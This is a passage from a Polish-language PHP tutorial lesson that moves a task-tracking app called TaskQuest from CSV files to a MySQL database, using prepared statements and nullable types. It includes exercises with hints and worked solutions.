(3.1)</td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">SELECT *</code> „bo wygodniej”</td><td>pobieramy kolumny, których nie potrzebujemy (np. <code class="prettyprint lang-sql" style="font-size: 0.85em;">haslo_hash</code>)</td></tr></tbody></table></figure>



<h1 class="wp-block-heading">4. SAMODZIELNIE — zadania wybranego użytkownika jako obiekty</h1>



<p class="wp-block-paragraph">Nadal w brudnopisie. Napisz skrypt, który:</p>



<ol class="wp-block-list">
<li>dołącza <code class="prettyprint lang-sql" style="font-size: 0.85em;">classes/Zadanie.php</code> i <code class="prettyprint lang-sql" style="font-size: 0.85em;">includes/funkcje_tekstowe.php</code>,</li>



<li>łączy się z bazą jak w 3.2,</li>



<li>bierze <code class="prettyprint lang-sql" style="font-size: 0.85em;">id</code> użytkownika z adresu (<code class="prettyprint lang-sql" style="font-size: 0.85em;">brudnopis.php?id=1</code>); jeśli <code class="prettyprint lang-sql" style="font-size: 0.85em;">id</code> nie składa się z samych cyfr, wyświetla <code class="prettyprint lang-sql" style="font-size: 0.85em;">Nieprawidłowe id.</code> i kończy działanie,</li>



<li><strong>prepared statementem</strong> pobiera kolumny <code class="prettyprint lang-sql" style="font-size: 0.85em;">id</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">tytul</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">opis</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">termin</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">data_wykonania</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">xp</code> zadań tego użytkownika,</li>



<li>z każdego wiersza tworzy obiekt <code class="prettyprint lang-sql" style="font-size: 0.85em;">Zadanie</code> (argumenty nazwane, jak w Lekcji 17, sekcja 6) i dopisuje go do tablicy <code class="prettyprint lang-sql" style="font-size: 0.85em;">$zadania</code>,</li>



<li>na końcu wyświetla liczbę zadań i dla każdego: <code class="prettyprint lang-sql" style="font-size: 0.85em;">[X]</code> albo <code class="prettyprint lang-sql" style="font-size: 0.85em;">[ ]</code> oraz oczyszczony tytuł.</li>
</ol>



<p class="wp-block-paragraph">Oczekiwane: <code class="prettyprint lang-sql" style="font-size: 0.85em;">?id=1</code> — zadania Kamy (tyle, ile w bazie), <code class="prettyprint lang-sql" style="font-size: 0.85em;">?id=2</code> — jedno zadanie Oli z <code class="prettyprint lang-sql" style="font-size: 0.85em;">[ ]</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">?id=3</code> — <code class="prettyprint lang-sql" style="font-size: 0.85em;">Zadań: 0</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">?id=abc</code> — <code class="prettyprint lang-sql" style="font-size: 0.85em;">Nieprawidłowe id.</code></p>



<details class="wp-block-details is-layout-flow wp-block-details-is-layout-flow"><summary><strong>HINT</strong></summary>
<p class="wp-block-paragraph">Sprawdzanie liczby z adresu robiłaś/robiłeś w Lekcji 13 (wyrażenie regularne przed <code class="prettyprint lang-sql" style="font-size: 0.85em;">(int)</code>). Pętla po wynikach wygląda jak w 3.3, tylko zamiast <code class="prettyprint lang-sql" style="font-size: 0.85em;">echo</code> jest <code class="prettyprint lang-sql" style="font-size: 0.85em;">$zadania[] = new Zadanie(...)</code>. Który typ ma parametr: <code class="prettyprint lang-sql" style="font-size: 0.85em;">s</code> czy <code class="prettyprint lang-sql" style="font-size: 0.85em;">i</code>?</p>
</details>



<details class="wp-block-details is-layout-flow wp-block-details-is-layout-flow"><summary><strong>POMOC</strong></summary>
<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">$zapytanie = $polaczenie-&gt;prepare('SELECT ... FROM zadania WHERE uzytkownik_id = ?');
$zapytanie-&gt;bind_param('i', $uzytkownikId);</code></pre>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">wykonane: $wiersz&#91;'data_wykonania'] !== null,</code></pre>
</details>



<details class="wp-block-details is-layout-flow wp-block-details-is-layout-flow"><summary><strong>ROZWIĄZANIE</strong></summary>
<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php

require_once __DIR__ . '/classes/Zadanie.php';
require_once __DIR__ . '/includes/funkcje_tekstowe.php';

mysqli_report(MYSQLI_REPORT_ERROR | MYSQLI_REPORT_STRICT);
$polaczenie = new mysqli('localhost', 'root', '', 'taskquest');
$polaczenie-&gt;set_charset('utf8mb4');

$idZAdresu = $_GET&#91;'id'] ?? '';

if (!preg_match('/^\d+$/', $idZAdresu)) {
    echo 'Nieprawidłowe id.';
    exit;
}

$uzytkownikId = (int) $idZAdresu;

$zapytanie = $polaczenie-&gt;prepare(
    'SELECT id, tytul, opis, termin, data_wykonania, xp FROM zadania WHERE uzytkownik_id = ?'
);
$zapytanie-&gt;bind_param('i', $uzytkownikId);
$zapytanie-&gt;execute();
$wynik = $zapytanie-&gt;get_result();

$zadania = &#91;];

while ($wiersz = $wynik-&gt;fetch_assoc()) {
    $zadania&#91;] = new Zadanie(
        id: $wiersz&#91;'id'],
        tytul: $wiersz&#91;'tytul'],
        opis: $wiersz&#91;'opis'],
        termin: $wiersz&#91;'termin'],
        wykonane: $wiersz&#91;'data_wykonania'] !== null,
        xp: $wiersz&#91;'xp'],
    );
}

echo '&lt;p&gt;Zadań: ' . count($zadania) . '&lt;/p&gt;';

foreach ($zadania as $zadanie) {
    $znacznik = $zadanie-&gt;czyWykonane() ? '&#91;X]' : '&#91; ]';
    echo '&lt;p&gt;' . $znacznik . ' ' . wyczyscTytul($zadanie-&gt;pobierzTytul()) . '&lt;/p&gt;';
}</code></pre>



<ul class="wp-block-list">
<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">id</code> i <code class="prettyprint lang-sql" style="font-size: 0.85em;">xp</code> nie potrzebują <code class="prettyprint lang-sql" style="font-size: 0.85em;">(int)</code> — z prepared statementu przychodzą już jako <code class="prettyprint lang-sql" style="font-size: 0.85em;">int</code> (3.5). Porównaj z <code class="prettyprint lang-sql" style="font-size: 0.85em;">wczytajZadania()</code>, gdzie <code class="prettyprint lang-sql" style="font-size: 0.85em;">(int) $wiersz[0]</code> był konieczny, bo CSV zawiera same teksty.</li>



<li>Nie ma tu odpowiednika <code class="prettyprint lang-sql" style="font-size: 0.85em;">sprawdzWierszZadania()</code>. Baza nie wpuści złego terminu, ujemnego XP ani zbyt długiego tytułu (Test 4 z Lekcji 17), więc wiersz z bazy ma zawsze poprawny kształt.</li>



<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">?id=3</code> nie jest błędem: zapytanie jest poprawne, po prostu nie ma pasujących wierszy — pusta tablica, tak jak pusty plik CSV w Lekcji 12 nie był awarią.</li>
</ul>
</details>



<h1 class="wp-block-heading">5. Włączamy bazę do TaskQuest</h1>



<blockquote class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow">
<p class="wp-block-paragraph"><strong>Od tego miejsca pracujesz na projekcie.</strong> <code class="prettyprint lang-sql" style="font-size: 0.85em;">brudnopis.php</code> zostaw — przyda się do testowania nowych funkcji, zanim podłączysz je do stron.</p>
</blockquote>



<p class="wp-block-paragraph">Plan: najpierw budujemy i testujemy w brudnopisie wszystkie funkcje (kroki 1–5), potem w jednym ruchu przełączamy logowanie i stronę główną (kroki 6–7). <strong>Między krokiem 6 a 7 aplikacja nie działa</strong> — wykonaj je bez przerwy.</p>



<h2 class="wp-block-heading">Krok 1 — dane dostępowe w <code class="prettyprint lang-sql" style="font-size: 0.85em;">config/config.php</code></h2>



<p class="wp-block-paragraph">Dane dostępowe wpisaliśmy w brudnopisie trzy razy. W projekcie mają być w jednym miejscu — tam, gdzie od Lekcji 10 trzymamy ustawienia. Na końcu <code class="prettyprint lang-sql" style="font-size: 0.85em;">config/config.php</code> dopisz:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">// (L18) dane dostępowe do bazy danych — domyślne ustawienia XAMPP
define('BAZA_HOST', 'localhost');
define('BAZA_UZYTKOWNIK', 'root');
define('BAZA_HASLO', '');
define('BAZA_NAZWA', 'taskquest');
</code></pre>



<p class="wp-block-paragraph">Na szkolnym albo prawdziwym serwerze te wartości będą inne (i <strong>nigdy</strong> <code class="prettyprint lang-sql" style="font-size: 0.85em;">root</code> bez hasła). Dzięki stałym zmienisz je w jednym pliku.</p>



<h2 class="wp-block-heading">Krok 2 — plik <code class="prettyprint lang-sql" style="font-size: 0.85em;">includes/funkcje_bazy.php</code> i funkcja <code class="prettyprint lang-sql" style="font-size: 0.85em;">polaczZBaza()</code></h2>



<p class="wp-block-paragraph">Utwórz <code class="prettyprint lang-sql" style="font-size: 0.85em;">includes/funkcje_bazy.php</code>:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php

// Funkcje TaskQuest korzystające z bazy danych (Lekcja 18).
// Wymagają wcześniejszego dołączenia config/config.php (stałe BAZA_...).
// Funkcje tworzące obiekty wymagają też classes/Zadanie.php i classes/Uzytkownik.php.

function polaczZBaza(): mysqli
{
    mysqli_report(MYSQLI_REPORT_ERROR | MYSQLI_REPORT_STRICT);

    try {
        $polaczenie = new mysqli(BAZA_HOST, BAZA_UZYTKOWNIK, BAZA_HASLO, BAZA_NAZWA);
    } catch (Exception $wyjatek) {
        throw new Exception('Nie udało się połączyć z bazą danych.');
    }

    $polaczenie-&gt;set_charset('utf8mb4');

    return $polaczenie;
}
</code></pre>



<ul class="wp-block-list">
<li>Typ zwracany <code class="prettyprint lang-sql" style="font-size: 0.85em;">mysqli</code> — funkcja zwraca obiekt klasy, tak jak metoda mogłaby zwracać <code class="prettyprint lang-sql" style="font-size: 0.85em;">Zadanie</code>.</li>



<li><strong>Dlaczego łapiemy wyjątek i rzucamy nowy?</strong> Komunikat z <code class="prettyprint lang-sql" style="font-size: 0.85em;">mysqli</code> przy złym haśle brzmi mniej więcej: <code class="prettyprint lang-sql" style="font-size: 0.85em;">Access denied for user 'root'@'localhost' (using password: YES)</code>. Zdradza nazwę użytkownika bazy i adres serwera. Od Lekcji 12 komunikaty wyjątków trafiają do użytkownika, więc mają być dla niego — bez szczegółów technicznych. Eksperyment 4 pokaże różnicę.</li>



<li>Plik z samym PHP — bez zamykającego <code class="prettyprint lang-sql" style="font-size: 0.85em;">?&gt;</code> (konwencja od Lekcji 10).</li>
</ul>



<h2 class="wp-block-heading">Krok 3 — SAMODZIELNIE: <code class="prettyprint lang-sql" style="font-size: 0.85em;">wczytajZadaniaUzytkownika()</code></h2>



<p class="wp-block-paragraph">Kod z sekcji 4 zamień w funkcję w <code class="prettyprint lang-sql" style="font-size: 0.85em;">funkcje_bazy.php</code> (pod <code class="prettyprint lang-sql" style="font-size: 0.85em;">polaczZBaza()</code>):</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">function wczytajZadaniaUzytkownika(mysqli $polaczenie, int $uzytkownikId): array
</code></pre>



<p class="wp-block-paragraph">Wymagania:</p>



<ul class="wp-block-list">
<li>funkcja <strong>nie</strong> tworzy połączenia — dostaje je w parametrze (jedno połączenie wystarczy na całe żądanie, a <code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code> wykona kilka zapytań),</li>



<li>zwraca tablicę obiektów <code class="prettyprint lang-sql" style="font-size: 0.85em;">Zadanie</code> — dokładnie to samo, co zwraca <code class="prettyprint lang-sql" style="font-size: 0.85em;">wczytajZadania()</code> z CSV; dla użytkownika bez zadań <code class="prettyprint lang-sql" style="font-size: 0.85em;">[]</code>,</li>



<li>sortuje po <code class="prettyprint lang-sql" style="font-size: 0.85em;">id</code> (<code class="prettyprint lang-sql" style="font-size: 0.85em;">ORDER BY id</code>), żeby kolejność była stała, jak kolejność linii w CSV. Sortowaniem po terminie nadal zajmuje się <code class="prettyprint lang-sql" style="font-size: 0.85em;">sortujPoTerminie()</code> — nie zmieniamy działającej logiki,</li>



<li>niczego nie wyświetla i nie sprawdza <code class="prettyprint lang-sql" style="font-size: 0.85em;">id</code> regexem (<code class="prettyprint lang-sql" style="font-size: 0.85em;">int $uzytkownikId</code> gwarantuje liczbę; sprawdzanie tekstu z adresu to zadanie strony, nie tej funkcji).</li>
</ul>



<p class="wp-block-paragraph">Przetestuj w brudnopisie:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php

require_once __DIR__ . '/config/config.php';
require_once __DIR__ . '/classes/Zadanie.php';
require_once __DIR__ . '/includes/funkcje_bazy.php';

$polaczenie = polaczZBaza();
var_dump(count(wczytajZadaniaUzytkownika($polaczenie, 1)));
var_dump(count(wczytajZadaniaUzytkownika($polaczenie, 2)));
var_dump(wczytajZadaniaUzytkownika($polaczenie, 3));
</code></pre>



<p class="wp-block-paragraph">Oczekiwane: liczba zadań Kamy, <code class="prettyprint lang-sql" style="font-size: 0.85em;">int(1)</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">array(0) {}</code>.</p>



<details class="wp-block-details is-layout-flow wp-block-details-is-layout-flow"><summary><strong>HINT</strong></summary>
<p class="wp-block-paragraph">Cała środkowa część rozwiązania z sekcji 4 (od <code class="prettyprint lang-sql" style="font-size: 0.85em;">prepare</code> do końca pętli) przechodzi do funkcji prawie bez zmian. Czego w funkcji nie ma? Połączenia, <code class="prettyprint lang-sql" style="font-size: 0.85em;">$_GET</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">echo</code>.</p>
</details>



<details class="wp-block-details is-layout-flow wp-block-details-is-layout-flow"><summary><strong>ROZWIĄZANIE</strong></summary>
<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">function wczytajZadaniaUzytkownika(mysqli $polaczenie, int $uzytkownikId): array
{
    $zapytanie = $polaczenie-&gt;prepare(
        'SELECT id, tytul, opis, termin, data_wykonania, xp FROM zadania WHERE uzytkownik_id = ? ORDER BY id'
    );
    $zapytanie-&gt;bind_param('i', $uzytkownikId);
    $zapytanie-&gt;execute();
    $wynik = $zapytanie-&gt;get_result();

    $zadania = &#91;];

    while ($wiersz = $wynik-&gt;fetch_assoc()) {
        $zadania&#91;] = new Zadanie(
            id: $wiersz&#91;'id'],
            tytul: $wiersz&#91;'tytul'],
            opis: $wiersz&#91;'opis'],
            termin: $wiersz&#91;'termin'],
            wykonane: $wiersz&#91;'data_wykonania'] !== null,
            xp: $wiersz&#91;'xp'],
        );
    }

    return $zadania;
}
</code></pre>



<p class="wp-block-paragraph">Błędów zapytania (np. literówki w nazwie kolumny) ta funkcja nie łapie. To błędy programisty, a nie awaria, której użytkownik może się spodziewać. Wyjątek poleci wyżej, do strony (Eksperyment 3).</p>
</details>



<h2 class="wp-block-heading">Krok 4 — <code class="prettyprint lang-sql" style="font-size: 0.85em;">Uzytkownik</code> dostaje <code class="prettyprint lang-sql" style="font-size: 0.85em;">id</code>, a data może być <code class="prettyprint lang-sql" style="font-size: 0.85em;">null</code></h2>



<p class="wp-block-paragraph">Zanim napiszemy funkcję wczytującą użytkownika, sprawdźmy, czy wiersz Oli w ogóle zmieści się w obiekcie. Brudnopis:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php

require_once __DIR__ . '/config/config.php';
require_once __DIR__ . '/classes/Uzytkownik.php';
require_once __DIR__ . '/includes/funkcje_grywalizacji.php';
require_once __DIR__ . '/includes/funkcje_terminow.php';

$uzytkownik = new Uzytkownik(
    login: 'Ola_TQ',
    imieUzytkownika: 'Ola',
    xp: 250,
    streak: 0,
    dataOstatniejAktywnosci: null,   // tak jest w bazie
);
</code></pre>



<p class="wp-block-paragraph">Wynik: <code class="prettyprint lang-sql" style="font-size: 0.85em;">TypeError</code> — argument <code class="prettyprint lang-sql" style="font-size: 0.85em;">$dataOstatniejAktywnosci</code> musi być typu <code class="prettyprint lang-sql" style="font-size: 0.85em;">string</code>, a podano <code class="prettyprint lang-sql" style="font-size: 0.85em;">null</code>. W Lekcji 17 świadomie zdecydowaliśmy, że <code class="prettyprint lang-sql" style="font-size: 0.85em;">data_ostatniej_aktywnosci</code> może być <code class="prettyprint lang-sql" style="font-size: 0.85em;">NULL</code> (Ola jeszcze nic nie zrobiła). Klasa musi to umieć przyjąć.</p>



<p class="wp-block-paragraph"><strong>Nowa składnia: typ z dopuszczalnym <code class="prettyprint lang-sql" style="font-size: 0.85em;">null</code>.</strong> Znak zapytania przed typem oznacza „ten typ <strong>albo</strong> <code class="prettyprint lang-sql" style="font-size: 0.85em;">null</code>”:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">?string   // tekst albo null
?int      // liczba całkowita albo null
</code></pre>



<p class="wp-block-paragraph">To bezpośredni odpowiednik kolumny <code class="prettyprint lang-sql" style="font-size: 0.85em;">NULL</code> w bazie: <code class="prettyprint lang-sql" style="font-size: 0.85em;">DATE NULL</code> → <code class="prettyprint lang-sql" style="font-size: 0.85em;">?string</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">DATE NOT NULL</code> → <code class="prettyprint lang-sql" style="font-size: 0.85em;">string</code>.</p>



<p class="wp-block-paragraph">Zmiany w <code class="prettyprint lang-sql" style="font-size: 0.85em;">classes/Uzytkownik.php</code> (reszta klasy bez zmian):</p>



<ol class="wp-block-list">
<li><br /><p>Jako <strong>pierwszą</strong> właściwość dopisz <code class="prettyprint lang-sql" style="font-size: 0.85em;">private int $id;</code> — w Lekcji 17 zapowiadaliśmy, że <code class="prettyprint lang-sql" style="font-size: 0.85em;">id</code> wróci, gdy będzie skąd je wziąć. Jutro (L19) będzie potrzebne do zapisu XP konkretnego użytkownika.</p><br /></li>



<li><br /><p><code class="prettyprint lang-sql" style="font-size: 0.85em;">private string $dataOstatniejAktywnosci;</code> → <code class="prettyprint lang-sql" style="font-size: 0.85em;">private ?string $dataOstatniejAktywnosci;</code></p><br /></li>



<li><br /><p>Konstruktor: nowy <strong>pierwszy</strong> parametr <code class="prettyprint lang-sql" style="font-size: 0.85em;">int $id</code>, typ ostatniego <code class="prettyprint lang-sql" style="font-size: 0.85em;">?string</code>, w ciele <code class="prettyprint lang-sql" style="font-size: 0.85em;">$this-&gt;id = $id;</code>:</p><br /><pre><code class="prettyprint lang-sql" style="font-size: 0.85em;">public function __construct(<br />    int $id,<br />    string $login,<br />    string $imieUzytkownika,<br />    int $xp,<br />    int $streak,<br />    ?string $dataOstatniejAktywnosci<br />) {<br />    $this-&gt;id = $id;<br />    $this-&gt;login = $login;<br />    // ... pozostałe przypisania bez zmian<br />}<br /></code></pre><br /></li>



<li><br /><p>Pod konstruktorem nowy getter:</p><br /><pre><code class="prettyprint lang-sql" style="font-size: 0.85em;">public function pobierzId(): int<br />{<br />    return $this-&gt;id;<br />}<br /></code></pre><br /></li>



<li><br /><p>Metoda <code class="prettyprint lang-sql" style="font-size: 0.85em;">aktualizujStreak()</code> przekazuje datę do funkcji <code class="prettyprint lang-sql" style="font-size: 0.85em;">aktualizujStreak(int $streak, string $dataOstatniejAktywnosci, bool $zadanieWykonane)</code>, która wymaga <code class="prettyprint lang-sql" style="font-size: 0.85em;">string</code>. Dla <code class="prettyprint lang-sql" style="font-size: 0.85em;">null</code> też byłby <code class="prettyprint lang-sql" style="font-size: 0.85em;">TypeError</code>. Na <strong>początku</strong> ciała metody dopisz:</p><br /><pre><code class="prettyprint lang-sql" style="font-size: 0.85em;">public function aktualizujStreak(bool $zadanieWykonane): void<br />{<br />    if ($this-&gt;dataOstatniejAktywnosci === null) {<br />        return; // brak aktywności — nie ma od czego liczyć serii, streak zostaje taki jak w bazie<br />    }<br /><br />    $this-&gt;streak = aktualizujStreak($this-&gt;streak, $this-&gt;dataOstatniejAktywnosci, $zadanieWykonane);<br />}<br /></code></pre><br /><p>Funkcja <code class="prettyprint lang-sql" style="font-size: 0.85em;">aktualizujStreak()</code> z <code class="prettyprint lang-sql" style="font-size: 0.85em;">funkcje_terminow.php</code> <strong>nie zmienia się</strong>. Problem <code class="prettyprint lang-sql" style="font-size: 0.85em;">null</code> zatrzymujemy w klasie, zanim dotrze do funkcji.</p><br /></li>
</ol>



<p class="wp-block-paragraph">Popraw brudnopis (<code class="prettyprint lang-sql" style="font-size: 0.85em;">id: 2,</code> na początku argumentów) i uruchom ponownie: brak błędu. Dopisz <code class="prettyprint lang-sql" style="font-size: 0.85em;">var_dump($uzytkownik-&gt;pobierzId(), $uzytkownik-&gt;pobierzPoziom());</code> → <code class="prettyprint lang-sql" style="font-size: 0.85em;">int(2)</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">int(3)</code>.</p>



<blockquote class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow">
<p class="wp-block-paragraph">Twój <code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code> przestał teraz działać (<code class="prettyprint lang-sql" style="font-size: 0.85em;">new Uzytkownik(...)</code> bez <code class="prettyprint lang-sql" style="font-size: 0.85em;">id</code>) — to w porządku, w kroku 7 i tak zastąpimy ten fragment.</p>
</blockquote>



<h2 class="wp-block-heading">Krok 5 — SAMODZIELNIE: <code class="prettyprint lang-sql" style="font-size: 0.85em;">wczytajUzytkownika()</code></h2>



<p class="wp-block-paragraph">W <code class="prettyprint lang-sql" style="font-size: 0.85em;">funkcje_bazy.php</code> napisz:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">function wczytajUzytkownika(mysqli $polaczenie, int $uzytkownikId): ?Uzytkownik</code></pre>



<ul class="wp-block-list">
<li>pobiera z tabeli <code class="prettyprint lang-sql" style="font-size: 0.85em;">uzytkownicy</code> <strong>jeden</strong> wiersz o podanym <code class="prettyprint lang-sql" style="font-size: 0.85em;">id</code> — tylko kolumny potrzebne do obiektu (bez <code class="prettyprint lang-sql" style="font-size: 0.85em;">haslo_hash</code>!),</li>



<li>zwraca obiekt <code class="prettyprint lang-sql" style="font-size: 0.85em;">Uzytkownik</code> albo <code class="prettyprint lang-sql" style="font-size: 0.85em;">null</code>, gdy takiego użytkownika nie ma (typ <code class="prettyprint lang-sql" style="font-size: 0.85em;">?Uzytkownik</code> — ten sam znak zapytania, tym razem przy klasie),</li>



<li>pamiętaj o konwencji nazw: kolumna <code class="prettyprint lang-sql" style="font-size: 0.85em;">imie</code> → parametr <code class="prettyprint lang-sql" style="font-size: 0.85em;">imieUzytkownika</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">data_ostatniej_aktywnosci</code> → <code class="prettyprint lang-sql" style="font-size: 0.85em;">dataOstatniejAktywnosci</code>.</li>
</ul>



<p class="wp-block-paragraph">Test w brudnopisie (dołącz też <code class="prettyprint lang-sql" style="font-size: 0.85em;">classes/Uzytkownik.php</code>):</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">var_dump(wczytajUzytkownika($polaczenie, 1)-&gt;pobierzImie());
var_dump(wczytajUzytkownika($polaczenie, 2)-&gt;pobierzXp());
var_dump(wczytajUzytkownika($polaczenie, 99));</code></pre>



<p class="wp-block-paragraph">Oczekiwane: <code class="prettyprint lang-sql" style="font-size: 0.85em;">string(4) "Kama"</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">int(250)</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">NULL</code>.</p>



<details class="wp-block-details is-layout-flow wp-block-details-is-layout-flow"><summary><strong>HINT</strong></summary>
<p class="wp-block-paragraph">Wiersz jest najwyżej jeden, więc pętla <code class="prettyprint lang-sql" style="font-size: 0.85em;">while</code> nie jest potrzebna. Wystarczy <strong>jedno</strong> wywołanie <code class="prettyprint lang-sql" style="font-size: 0.85em;">fetch_assoc()</code> — co zwróci, gdy wierszy nie ma wcale?</p>
</details>



<details class="wp-block-details is-layout-flow wp-block-details-is-layout-flow"><summary><strong>ROZWIĄZANIE</strong></summary>
<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">function wczytajUzytkownika(mysqli $polaczenie, int $uzytkownikId): ?Uzytkownik
{
    $zapytanie = $polaczenie-&gt;prepare(
        'SELECT id, login, imie, xp, streak, data_ostatniej_aktywnosci FROM uzytkownicy WHERE id = ?'
    );
    $zapytanie-&gt;bind_param('i', $uzytkownikId);
    $zapytanie-&gt;execute();
    $wiersz = $zapytanie-&gt;get_result()-&gt;fetch_assoc();

    if ($wiersz === null) {
        return null;
    }

    return new Uzytkownik(
        id: $wiersz&#91;'id'],
        login: $wiersz&#91;'login'],
        imieUzytkownika: $wiersz&#91;'imie'],
        xp: $wiersz&#91;'xp'],
        streak: $wiersz&#91;'streak'],
        dataOstatniejAktywnosci: $wiersz&#91;'data_ostatniej_aktywnosci'],
    );
}
</code></pre>



<p class="wp-block-paragraph"><code class="prettyprint lang-sql" style="font-size: 0.85em;">$zapytanie-&gt;get_result()-&gt;fetch_assoc()</code> — dwie metody „w łańcuchu”: <code class="prettyprint lang-sql" style="font-size: 0.85em;">get_result()</code> zwraca obiekt wyniku, a na nim od razu wywołujemy <code class="prettyprint lang-sql" style="font-size: 0.85em;">fetch_assoc()</code>. To skrót od dwóch linii z <code class="prettyprint lang-sql" style="font-size: 0.85em;">$wynik</code>.</p>
</details>



<h2 class="wp-block-heading">Krok 6 — logowanie sprawdza bazę</h2>



<h3 class="wp-block-heading">6a. Funkcja <code class="prettyprint lang-sql" style="font-size: 0.85em;">znajdzIdUzytkownika()</code> (<code class="prettyprint lang-sql" style="font-size: 0.85em;">funkcje_bazy.php</code>)</h3>



<p class="wp-block-paragraph">Logowanie potrzebuje odpowiedzi na pytanie: „jakie <code class="prettyprint lang-sql" style="font-size: 0.85em;">id</code> ma użytkownik o tym loginie — i czy w ogóle istnieje?”.</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">function znajdzIdUzytkownika(mysqli $polaczenie, string $login): ?int
{
    $zapytanie = $polaczenie-&gt;prepare('SELECT id FROM uzytkownicy WHERE login = ?');
    $zapytanie-&gt;bind_param('s', $login);
    $zapytanie-&gt;execute();
    $wiersz = $zapytanie-&gt;get_result()-&gt;fetch_assoc();

    if ($wiersz === null) {
        return null;
    }

    return $wiersz&#91;'id'];
}
</code></pre>



<p class="wp-block-paragraph">To dokładnie zapytanie z 3.5 — login pochodzi z formularza, więc prepared statement jest obowiązkowy. Sprawdź w brudnopisie: <code class="prettyprint lang-sql" style="font-size: 0.85em;">Kama_2026</code> → <code class="prettyprint lang-sql" style="font-size: 0.85em;">int(1)</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">kama_2026</code> → <code class="prettyprint lang-sql" style="font-size: 0.85em;">int(1)</code> (porównanie <code class="prettyprint lang-sql" style="font-size: 0.85em;">utf8mb4_unicode_ci</code> nie rozróżnia wielkości liter — Test 2 z Lekcji 17), <code class="prettyprint lang-sql" style="font-size: 0.85em;">Nowy_1</code> → <code class="prettyprint lang-sql" style="font-size: 0.85em;">NULL</code>.</p>



<h3 class="wp-block-heading">6b. W sesji zostaje tylko <code class="prettyprint lang-sql" style="font-size: 0.85em;">uzytkownik_id</code></h3>



<p class="wp-block-paragraph">Od Lekcji 14 zapisywaliśmy w sesji <code class="prettyprint lang-sql" style="font-size: 0.85em;">login</code> i <code class="prettyprint lang-sql" style="font-size: 0.85em;">imie</code>. Teraz oba są w bazie. Gdybyśmy trzymali je także w sesji, mielibyśmy <strong>dwie kopie</strong> tych samych danych: zmiana imienia w bazie nie byłaby widoczna do ponownego logowania (to ta sama zasada „jedno źródło prawdy” co w Lekcjach 15 i 17). W sesji zapisujemy więc tylko <strong>identyfikator</strong> zalogowanego użytkownika, a resztę przy każdym żądaniu czytamy z bazy.</p>



<p class="wp-block-paragraph"><code class="prettyprint lang-sql" style="font-size: 0.85em;">includes/funkcje_sesji.php</code> — w <code class="prettyprint lang-sql" style="font-size: 0.85em;">czyZalogowany()</code> zmień sprawdzany klucz:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">function czyZalogowany(): bool
{
    return isset($_SESSION&#91;'uzytkownik_id']);
}
</code></pre>



<p class="wp-block-paragraph">Przy okazji: jeśli ktoś ma otwartą sesję sprzed tej zmiany (z <code class="prettyprint lang-sql" style="font-size: 0.85em;">login</code>, ale bez <code class="prettyprint lang-sql" style="font-size: 0.85em;">uzytkownik_id</code>), zostanie po prostu przekierowany do logowania. Bez tej zmiany <code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code> próbowałby odczytać nieistniejący klucz.</p>



<h3 class="wp-block-heading">6c. <code class="prettyprint lang-sql" style="font-size: 0.85em;">walidujDaneLogowania()</code> sprawdza już tylko login</h3>



<p class="wp-block-paragraph">Imię jest w bazie, więc znika z formularza. W <code class="prettyprint lang-sql" style="font-size: 0.85em;">includes/funkcje_tekstowe.php</code> zastąp funkcję wersją z jednym parametrem:</p>



